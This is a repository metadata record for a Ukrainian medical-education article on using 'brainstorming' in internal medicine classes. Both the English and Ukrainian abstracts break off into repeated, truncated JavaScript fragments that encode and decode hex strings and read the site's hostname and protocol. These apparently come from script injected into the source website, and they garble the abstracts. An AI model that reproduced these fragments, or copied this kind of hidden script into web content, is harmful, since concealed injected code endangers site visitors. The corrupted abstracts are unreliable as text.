Show simple item record

dc.contributor.authorMerhel, T. V.
dc.contributor.authorТернопільський державний медичнрй університет імені І.Я. Горбачевського
dc.date.accessioned2019-10-25T02:21:24Z
dc.date.available2019-10-25T02:21:24Z
dc.date.created2017-05-26 23:27
dc.date.issued2015-12-15
dc.identifieroai:ojs.tdmu.edu.ua:article/5320
dc.identifierhttp://ojs.tdmu.edu.ua/index.php/med_osvita/article/view/5320
dc.identifier10.11603/me.v0i4.5320
dc.identifier.urihttp://hdl.handle.net/20.500.12424/1236975
dc.description.abstractThe work is devoted to the study of results of “brainstorming” interactive method introduction of studies in the process of thematic classes in internal medicine for the 5th grade students of medical department. The introduction of “brainstorming” educational technology to the process promotes in senior medical students: development of creative approach to problems solving, developing of skills of assessing of the situation, selecting and organizing of basic information, development of clinical thinking, the skills of group work, communication skills, tolerance, development of creativity, self-confidence, skills to work out multivariate approaches to solving of a clinical situation, the ability to express their own opinion, skills of working in the team, developing abilities of comprehensive situation analysis, skills of constructive criticism, forming the ability to choose the best option in a difficult clinical situation, skills to use theoretical material for analyzing ofpractical problems.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
dc.description.abstractРобота присвячена вивченню та впровадженню інтерактивного методу навчання “мозковий штурм” у процес викладання тематичних занять з внутрішньої медицини для студентів V курсу медичного факультету. У студентів-медиків старших курсів впровадження в процес освітньої технології “мозкового штурму” сприяє: розвитку творчого підходу до вирішення проблеми, формуванню вмінь, оцінюванню ситуації, вибору та організації пошуку основної інформації, виробленню клінічного мислення, формуванню навичок роботи в групі, комунікабельності, толерантності, розвитку креативності, впевненості в собі, виробленню вмінь розробляти багатоваріантні підходи у вирішенні клінічної ситуації, виробленню вміння висловлювати власну думку, виробленню навичок роботи в колективі, формуванню вмінь всебічного аналізу ситуації, набуттю навичок до конструктивної критики, формуванню вміння вибрати найоптимальніший варіант у складній клінічній ситуації, набуттю навичок використання теоретичного матеріалу для аналізу практичних проблем.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
dc.format.mediumapplication/pdf
dc.language.isoukr
dc.publisherTernopil State Medical University
dc.relation.ispartofhttp://ojs.tdmu.edu.ua/index.php/med_osvita/article/view/5320/4889
dc.rights##submission.copyrightStatement##
dc.sourceMedical Education; № 4
dc.titleAPPLICATION OF “BRAINSTORMING” INTERACTIVE METHOD IN EDUCATIONAL PROCESS
dc.typeinfo:eu-repo/semantics/article
ge.collectioncodeOAIDATA
ge.dataimportlabelOAI metadata object
ge.identifier.legacyglobethics:10931695
ge.identifier.permalinkhttps://www.globethics.net/gel/10931695
ge.lastmodificationdate2017-05-26 23:27
ge.lastmodificationuseradmin@pointsoftware.ch (import)
ge.submissions0
ge.oai.exportid149104
ge.oai.repositoryid684
ge.oai.setnameВдосконалення вищої медичної освіти
ge.oai.setspecmed_osvita:%D0%92%D0%92%D0%9C%D0%9E
ge.oai.streamid2
ge.setnameGlobeEthicsLib
ge.setspecglobeethicslib
ge.linkhttp://ojs.tdmu.edu.ua/index.php/med_osvita/article/view/5320


This item appears in the following Collection(s)

Show simple item record